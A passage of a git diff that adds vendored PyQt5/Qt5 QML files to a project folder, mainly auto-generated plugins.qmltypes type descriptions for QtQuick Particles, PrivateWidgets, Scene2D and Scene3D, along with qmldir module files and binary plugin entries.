["InfiniteLife"] + } + Property { name: "system"; type: "QQuickParticleSystem"; isPointer: true } + Property { name: "group"; type: "string" } + Property { name: "shape"; type: "QQuickParticleExtruder"; isPointer: true } + Property { name: "enabled"; type: "bool" } + Property { name: "startTime"; type: "int" } + Property { name: "emitRate"; type: "double" } + Property { name: "lifeSpan"; type: "int" } + Property { name: "lifeSpanVariation"; type: "int" } + Property { name: "maximumEmitted"; type: "int" } + Property { name: "size"; type: "double" } + Property { name: "endSize"; type: "double" } + Property { name: "sizeVariation"; type: "double" } + Property { name: "velocity"; type: "QQuickDirection"; isPointer: true } + Property { name: "acceleration"; type: "QQuickDirection"; isPointer: true } + Property { name: "velocityFromMovement"; type: "double" } + Signal { + name: "emitParticles" + Parameter { name: "particles"; type: "QJSValue" } + } + Signal { + name: "particlesPerSecondChanged" + Parameter { type: "double" } + } + Signal { + name: "particleDurationChanged" + Parameter { type: "int" } + } + Signal { + name: "enabledChanged" + Parameter { type: "bool" } + } + Signal { + name: "systemChanged" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Signal { + name: "groupChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "particleDurationVariationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "extruderChanged" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Signal { + name: "particleSizeChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "particleEndSizeChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "particleSizeVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "velocityChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "accelerationChanged" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Signal { + name: "maximumEmittedChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { name: "particleCountChanged" } + Signal { + name: "startTimeChanged" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "pulse" + Parameter { name: "milliseconds"; type: "int" } + } + Method { + name: "burst" + Parameter { name: "num"; type: "int" } + } + Method { + name: "burst" + Parameter { name: "num"; type: "int" } + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "setEnabled" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setParticlesPerSecond" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setParticleDuration" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setSystem" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Method { + name: "setGroup" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setParticleDurationVariation" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setExtruder" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Method { + name: "setParticleSize" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setParticleEndSize" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setParticleSizeVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setVelocity" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setAcceleration" + Parameter { name: "arg"; type: "QQuickDirection"; isPointer: true } + } + Method { + name: "setMaxParticleCount" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setStartTime" + Parameter { name: "arg"; type: "int" } + } + Method { name: "reset" } + } + Component { + file: "qquickparticleextruder_p.h" + name: "QQuickParticleExtruder" + prototype: "QObject" + exports: ["QtQuick.Particles/ParticleExtruder 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + } + Component { + file: "qquickparticlegroup_p.h" + name: "QQuickParticleGroup" + defaultProperty: "particleChildren" + prototype: "QQuickStochasticState" + exports: ["QtQuick.Particles/ParticleGroup 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "system"; type: "QQuickParticleSystem"; isPointer: true } + Property { name: "particleChildren"; type: "QObject"; isList: true; isReadonly: true } + Signal { + name: "maximumAliveChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "systemChanged" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Method { + name: "setMaximumAlive" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setSystem" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Method { + name: "delayRedirect" + Parameter { name: "obj"; type: "QObject"; isPointer: true } + } + } + Component { + file: "qquickparticlepainter_p.h" + name: "QQuickParticlePainter" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Particles/ParticlePainter 2.0", + "QtQuick.Particles/ParticlePainter 2.1", + "QtQuick.Particles/ParticlePainter 2.11", + "QtQuick.Particles/ParticlePainter 2.4", + "QtQuick.Particles/ParticlePainter 2.7" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "system"; type: "QQuickParticleSystem"; isPointer: true } + Property { name: "groups"; type: "QStringList" } + Signal { name: "countChanged" } + Signal { + name: "systemChanged" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Signal { + name: "groupsChanged" + Parameter { name: "arg"; type: "QStringList" } + } + Method { + name: "setSystem" + Parameter { name: "arg"; type: "QQuickParticleSystem"; isPointer: true } + } + Method { + name: "setGroups" + Parameter { name: "arg"; type: "QStringList" } + } + Method { + name: "calcSystemOffset" + Parameter { name: "resetPending"; type: "bool" } + } + Method { name: "calcSystemOffset" } + Method { name: "sceneGraphInvalidated" } + } + Component { + file: "qquickparticlesystem_p.h" + name: "QQuickParticleSystem" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick.Particles/ParticleSystem 2.0", + "QtQuick.Particles/ParticleSystem 2.1", + "QtQuick.Particles/ParticleSystem 2.11", + "QtQuick.Particles/ParticleSystem 2.4", + "QtQuick.Particles/ParticleSystem 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "running"; type: "bool" } + Property { name: "paused"; type: "bool" } + Property { name: "empty"; type: "bool"; isReadonly: true } + Signal { name: "systemInitialized" } + Signal { + name: "runningChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "pausedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "emptyChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { name: "start" } + Method { name: "stop" } + Method { name: "restart" } + Method { name: "pause" } + Method { name: "resume" } + Method { name: "reset" } + Method { + name: "setRunning" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setPaused" + Parameter { name: "arg"; type: "bool" } + } + Method { name: "duration"; type: "int" } + Method { name: "emittersChanged" } + Method { + name: "loadPainter" + Parameter { name: "p"; type: "QQuickParticlePainter"; isPointer: true } + } + Method { name: "createEngine" } + Method { + name: "particleStateChange" + Parameter { name: "idx"; type: "int" } + } + } + Component { + file: "qquickpointdirection_p.h" + name: "QQuickPointDirection" + prototype: "QQuickDirection" + exports: ["QtQuick.Particles/PointDirection 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "xVariation"; type: "double" } + Property { name: "yVariation"; type: "double" } + Signal { + name: "xChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "yChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "xVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "yVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setX" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setY" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setXVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setYVariation" + Parameter { name: "arg"; type: "double" } + } + } + Component { + file: "qquickrectangleextruder_p.h" + name: "QQuickRectangleExtruder" + prototype: "QQuickParticleExtruder" + exports: ["QtQuick.Particles/RectangleShape 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "fill"; type: "bool" } + Signal { + name: "fillChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setFill" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquickspritegoal_p.h" + name: "QQuickSpriteGoalAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/SpriteGoal 2.0", + "QtQuick.Particles/SpriteGoal 2.1", + "QtQuick.Particles/SpriteGoal 2.11", + "QtQuick.Particles/SpriteGoal 2.4", + "QtQuick.Particles/SpriteGoal 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "goalState"; type: "string" } + Property { name: "jump"; type: "bool" } + Property { name: "systemStates"; type: "bool" } + Signal { + name: "goalStateChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "jumpChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "systemStatesChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setGoalState" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setJump" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setSystemStates" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + name: "QQuickStochasticState" + prototype: "QObject" + Property { name: "duration"; type: "int" } + Property { name: "durationVariation"; type: "int" } + Property { name: "randomStart"; type: "bool" } + Property { name: "to"; type: "QVariantMap" } + Property { name: "name"; type: "string" } + Signal { + name: "durationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "nameChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "toChanged" + Parameter { name: "arg"; type: "QVariantMap" } + } + Signal { + name: "durationVariationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { name: "entered" } + Signal { + name: "randomStartChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setDuration" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setName" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setTo" + Parameter { name: "arg"; type: "QVariantMap" } + } + Method { + name: "setDurationVariation" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setRandomStart" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "qquicktargetdirection_p.h" + name: "QQuickTargetDirection" + prototype: "QQuickDirection" + exports: ["QtQuick.Particles/TargetDirection 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "targetX"; type: "double" } + Property { name: "targetY"; type: "double" } + Property { name: "targetItem"; type: "QQuickItem"; isPointer: true } + Property { name: "targetVariation"; type: "double" } + Property { name: "proportionalMagnitude"; type: "bool" } + Property { name: "magnitude"; type: "double" } + Property { name: "magnitudeVariation"; type: "double" } + Signal { + name: "targetXChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "targetYChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "targetVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "magnitudeChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "proprotionalMagnitudeChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "magnitudeVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "targetItemChanged" + Parameter { name: "arg"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "setTargetX" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setTargetY" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setTargetVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setMagnitude" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setProportionalMagnitude" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setMagnitudeVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setTargetItem" + Parameter { name: "arg"; type: "QQuickItem"; isPointer: true } + } + } + Component { + file: "qquicktrailemitter_p.h" + name: "QQuickTrailEmitter" + prototype: "QQuickParticleEmitter" + exports: [ + "QtQuick.Particles/TrailEmitter 2.0", + "QtQuick.Particles/TrailEmitter 2.1", + "QtQuick.Particles/TrailEmitter 2.11", + "QtQuick.Particles/TrailEmitter 2.4", + "QtQuick.Particles/TrailEmitter 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "EmitSize" + values: ["ParticleSize"] + } + Property { name: "follow"; type: "string" } + Property { name: "emitRatePerParticle"; type: "int" } + Property { name: "emitShape"; type: "QQuickParticleExtruder"; isPointer: true } + Property { name: "emitHeight"; type: "double" } + Property { name: "emitWidth"; type: "double" } + Signal { + name: "emitFollowParticles" + Parameter { name: "particles"; type: "QJSValue" } + Parameter { name: "followed"; type: "QJSValue" } + } + Signal { + name: "particlesPerParticlePerSecondChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "emitterXVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "emitterYVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "followChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "emissionShapeChanged" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Method { + name: "setParticlesPerParticlePerSecond" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setEmitterXVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setEmitterYVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setFollow" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setEmissionShape" + Parameter { name: "arg"; type: "QQuickParticleExtruder"; isPointer: true } + } + Method { name: "recalcParticlesPerSecond" } + } + Component { + file: "qquickturbulence_p.h" + name: "QQuickTurbulenceAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Turbulence 2.0", + "QtQuick.Particles/Turbulence 2.1", + "QtQuick.Particles/Turbulence 2.11", + "QtQuick.Particles/Turbulence 2.4", + "QtQuick.Particles/Turbulence 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "strength"; type: "double" } + Property { name: "noiseSource"; type: "QUrl" } + Signal { + name: "strengthChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "noiseSourceChanged" + Parameter { name: "arg"; type: "QUrl" } + } + Method { + name: "setStrength" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setNoiseSource" + Parameter { name: "arg"; type: "QUrl" } + } + } + Component { + file: "qquickwander_p.h" + name: "QQuickWanderAffector" + prototype: "QQuickParticleAffector" + exports: [ + "QtQuick.Particles/Wander 2.0", + "QtQuick.Particles/Wander 2.1", + "QtQuick.Particles/Wander 2.11", + "QtQuick.Particles/Wander 2.4", + "QtQuick.Particles/Wander 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "AffectableParameters" + values: ["Position", "Velocity", "Acceleration"] + } + Property { name: "pace"; type: "double" } + Property { name: "xVariance"; type: "double" } + Property { name: "yVariance"; type: "double" } + Property { name: "affectedParameter"; type: "AffectableParameters" } + Signal { + name: "xVarianceChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "yVarianceChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "paceChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "affectedParameterChanged" + Parameter { name: "arg"; type: "AffectableParameters" } + } + Method { + name: "setXVariance" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setYVariance" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setPace" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setAffectedParameter" + Parameter { name: "arg"; type: "AffectableParameters" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/qmldir new file mode 100644 index 00000000..1f17baad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Particles.2/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Particles +plugin particlesplugin +classname QtQuick2ParticlesPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/plugins.qmltypes new file mode 100644 index 00000000..5e70b3ba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/plugins.qmltypes @@ -0,0 +1,328 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtQuick.PrivateWidgets 1.1' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QQuickAbstractColorDialog" + prototype: "QQuickAbstractDialog" + Property { name: "showAlphaChannel"; type: "bool" } + Property { name: "color"; type: "QColor" } + Property { name: "currentColor"; type: "QColor" } + Property { name: "currentHue"; type: "double"; isReadonly: true } + Property { name: "currentSaturation"; type: "double"; isReadonly: true } + Property { name: "currentLightness"; type: "double"; isReadonly: true } + Property { name: "currentAlpha"; type: "double"; isReadonly: true } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setModality" + Parameter { name: "m"; type: "Qt::WindowModality" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setColor" + Parameter { name: "arg"; type: "QColor" } + } + Method { + name: "setCurrentColor" + Parameter { name: "currentColor"; type: "QColor" } + } + Method { + name: "setShowAlphaChannel" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + name: "QQuickAbstractDialog" + prototype: "QObject" + Enum { + name: "StandardButton" + values: { + "NoButton": 0, + "Ok": 1024, + "Save": 2048, + "SaveAll": 4096, + "Open": 8192, + "Yes": 16384, + "YesToAll": 32768, + "No": 65536, + "NoToAll": 131072, + "Abort": 262144, + "Retry": 524288, + "Ignore": 1048576, + "Close": 2097152, + "Cancel": 4194304, + "Discard": 8388608, + "Help": 16777216, + "Apply": 33554432, + "Reset": 67108864, + "RestoreDefaults": 134217728, + "NButtons": 134217729 + } + } + Enum { + name: "StandardButtons" + values: { + "NoButton": 0, + "Ok": 1024, + "Save": 2048, + "SaveAll": 4096, + "Open": 8192, + "Yes": 16384, + "YesToAll": 32768, + "No": 65536, + "NoToAll": 131072, + "Abort": 262144, + "Retry": 524288, + "Ignore": 1048576, + "Close": 2097152, + "Cancel": 4194304, + "Discard": 8388608, + "Help": 16777216, + "Apply": 33554432, + "Reset": 67108864, + "RestoreDefaults": 134217728, + "NButtons": 134217729 + } + } + Property { name: "visible"; type: "bool" } + Property { name: "modality"; type: "Qt::WindowModality" } + Property { name: "title"; type: "string" } + Property { name: "isWindow"; type: "bool"; isReadonly: true } + Property { name: "x"; type: "int" } + Property { name: "y"; type: "int" } + Property { name: "width"; type: "int" } + Property { name: "height"; type: "int" } + Property { name: "__maximumDimension"; type: "int"; isReadonly: true } + Signal { name: "visibilityChanged" } + Signal { name: "geometryChanged" } + Signal { name: "accepted" } + Signal { name: "rejected" } + Method { name: "open" } + Method { name: "close" } + Method { + name: "setX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setHeight" + Parameter { name: "arg"; type: "int" } + } + } + Component { + name: "QQuickAbstractFileDialog" + prototype: "QQuickAbstractDialog" + Property { name: "selectExisting"; type: "bool" } + Property { name: "selectMultiple"; type: "bool" } + Property { name: "selectFolder"; type: "bool" } + Property { name: "folder"; type: "QUrl" } + Property { name: "nameFilters"; type: "QStringList" } + Property { name: "selectedNameFilter"; type: "string" } + Property { name: "selectedNameFilterExtensions"; type: "QStringList"; isReadonly: true } + Property { name: "selectedNameFilterIndex"; type: "int" } + Property { name: "fileUrl"; type: "QUrl"; isReadonly: true } + Property { name: "fileUrls"; type: "QList"; isReadonly: true } + Property { name: "sidebarVisible"; type: "bool" } + Property { name: "defaultSuffix"; type: "string" } + Property { name: "shortcuts"; type: "QJSValue"; isReadonly: true } + Property { name: "__shortcuts"; type: "QJSValue"; isReadonly: true } + Signal { name: "filterSelected" } + Signal { name: "fileModeChanged" } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setSelectExisting" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setSelectMultiple" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setSelectFolder" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setFolder" + Parameter { name: "f"; type: "QUrl" } + } + Method { + name: "setNameFilters" + Parameter { name: "f"; type: "QStringList" } + } + Method { + name: "selectNameFilter" + Parameter { name: "f"; type: "string" } + } + Method { + name: "setSelectedNameFilterIndex" + Parameter { name: "idx"; type: "int" } + } + Method { + name: "setSidebarVisible" + Parameter { name: "s"; type: "bool" } + } + Method { + name: "setDefaultSuffix" + Parameter { name: "suffix"; type: "string" } + } + } + Component { + name: "QQuickAbstractFontDialog" + prototype: "QQuickAbstractDialog" + Property { name: "scalableFonts"; type: "bool" } + Property { name: "nonScalableFonts"; type: "bool" } + Property { name: "monospacedFonts"; type: "bool" } + Property { name: "proportionalFonts"; type: "bool" } + Property { name: "font"; type: "QFont" } + Property { name: "currentFont"; type: "QFont" } + Signal { name: "selectionAccepted" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setModality" + Parameter { name: "m"; type: "Qt::WindowModality" } + } + Method { + name: "setTitle" + Parameter { name: "t"; type: "string" } + } + Method { + name: "setFont" + Parameter { name: "arg"; type: "QFont" } + } + Method { + name: "setCurrentFont" + Parameter { name: "arg"; type: "QFont" } + } + Method { + name: "setScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setNonScalableFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setMonospacedFonts" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setProportionalFonts" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + name: "QQuickAbstractMessageDialog" + prototype: "QQuickAbstractDialog" + exports: ["QtQuick.PrivateWidgets/QtMessageDialog 1.1"] + exportMetaObjectRevisions: [0] + Enum { + name: "Icon" + values: { + "NoIcon": 0, + "Information": 1, + "Warning": 2, + "Critical": 3, + "Question": 4 + } + } + Property { name: "text"; type: "string" } + Property { name: "informativeText"; type: "string" } + Property { name: "detailedText"; type: "string" } + Property { name: "icon"; type: "Icon" } + Property { name: "standardIconSource"; type: "QUrl"; isReadonly: true } + Property { name: "standardButtons"; type: "QQuickAbstractDialog::StandardButtons" } + Property { + name: "clickedButton" + type: "QQuickAbstractDialog::StandardButton" + isReadonly: true + } + Signal { name: "buttonClicked" } + Signal { name: "discard" } + Signal { name: "help" } + Signal { name: "yes" } + Signal { name: "no" } + Signal { name: "apply" } + Signal { name: "reset" } + Method { + name: "setVisible" + Parameter { name: "v"; type: "bool" } + } + Method { + name: "setTitle" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setInformativeText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setDetailedText" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setIcon" + Parameter { name: "icon"; type: "Icon" } + } + Method { + name: "setStandardButtons" + Parameter { name: "buttons"; type: "StandardButtons" } + } + Method { + name: "click" + Parameter { name: "button"; type: "QQuickAbstractDialog::StandardButton" } + } + } + Component { + name: "QQuickQColorDialog" + prototype: "QQuickAbstractColorDialog" + exports: ["QtQuick.PrivateWidgets/QtColorDialog 1.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickQFileDialog" + prototype: "QQuickAbstractFileDialog" + exports: ["QtQuick.PrivateWidgets/QtFileDialog 1.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickQFontDialog" + prototype: "QQuickAbstractFontDialog" + exports: ["QtQuick.PrivateWidgets/QtFontDialog 1.1"] + exportMetaObjectRevisions: [0] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/qmldir new file mode 100644 index 00000000..da63c98e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/qmldir @@ -0,0 +1,4 @@ +module QtQuick.PrivateWidgets +plugin widgetsplugin +classname QtQuick2PrivateWidgetsPlugin +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/widgetsplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/widgetsplugin.dll new file mode 100644 index 00000000..8be0bb3c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/PrivateWidgets/widgetsplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/plugins.qmltypes new file mode 100644 index 00000000..16b89272 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/plugins.qmltypes @@ -0,0 +1,68 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Scene2D 2.15' + +Module { + dependencies: ["Qt3D.Core 2.0", "Qt3D.Render 2.0"] + Component { + name: "Qt3DRender::Quick::QScene2D" + defaultProperty: "item" + prototype: "Qt3DCore::QNode" + exports: ["QtQuick.Scene2D/Scene2D 2.9"] + exportMetaObjectRevisions: [209] + Enum { + name: "RenderPolicy" + values: { + "Continuous": 0, + "SingleShot": 1 + } + } + Property { name: "output"; type: "Qt3DRender::QRenderTargetOutput"; isPointer: true } + Property { name: "renderPolicy"; type: "QScene2D::RenderPolicy" } + Property { name: "item"; type: "QQuickItem"; isPointer: true } + Property { name: "mouseEnabled"; type: "bool" } + Signal { + name: "outputChanged" + Parameter { name: "output"; type: "Qt3DRender::QRenderTargetOutput"; isPointer: true } + } + Signal { + name: "renderPolicyChanged" + Parameter { name: "policy"; type: "QScene2D::RenderPolicy" } + } + Signal { + name: "itemChanged" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Signal { + name: "mouseEnabledChanged" + Parameter { name: "enabled"; type: "bool" } + } + Method { + name: "setOutput" + Parameter { name: "output"; type: "Qt3DRender::QRenderTargetOutput"; isPointer: true } + } + Method { + name: "setRenderPolicy" + Parameter { name: "policy"; type: "QScene2D::RenderPolicy" } + } + Method { + name: "setItem" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "setMouseEnabled" + Parameter { name: "enabled"; type: "bool" } + } + Property { + name: "entities" + revision: 209 + type: "Qt3DCore::QEntity" + isList: true + isReadonly: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qmldir new file mode 100644 index 00000000..2e807f1e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qmldir @@ -0,0 +1,3 @@ +module QtQuick.Scene2D +plugin qtquickscene2dplugin +classname QtQuickScene2DPlugin diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qtquickscene2dplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qtquickscene2dplugin.dll new file mode 100644 index 00000000..781e6595 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene2D/qtquickscene2dplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/plugins.qmltypes new file mode 100644 index 00000000..f0ce9a33 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Scene3D/plugins.qmltypes @@ -0,0 +1,87 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Scene3D 2.15' + +Module { + dependencies: ["Qt3D.Core 2.0", "QtQuick 2.0"] + Component { + name: "Qt3DRender::Scene3DItem" + defaultProperty: "entity" + prototype: "QQuickItem" + exports: [ + "QtQuick.Scene3D/Scene3D 2.0", + "QtQuick.Scene3D/Scene3D 2.14" + ] + exportMetaObjectRevisions: [0, 14] + Enum { + name: "CameraAspectRatioMode" + values: { + "AutomaticAspectRatio": 0, + "UserAspectRatio": 1 + } + } + Enum { + name: "CompositingMode" + values: { + "FBO": 0, + "Underlay": 1 + } + } + Property { name: "entity"; type: "Qt3DCore::QEntity"; isPointer: true } + Property { name: "aspects"; type: "QStringList" } + Property { name: "multisample"; type: "bool" } + Property { name: "cameraAspectRatioMode"; type: "CameraAspectRatioMode" } + Property { name: "hoverEnabled"; type: "bool" } + Property { name: "compositingMode"; revision: 14; type: "CompositingMode" } + Signal { + name: "cameraAspectRatioModeChanged" + Parameter { name: "mode"; type: "CameraAspectRatioMode" } + } + Method { + name: "setAspects" + Parameter { name: "aspects"; type: 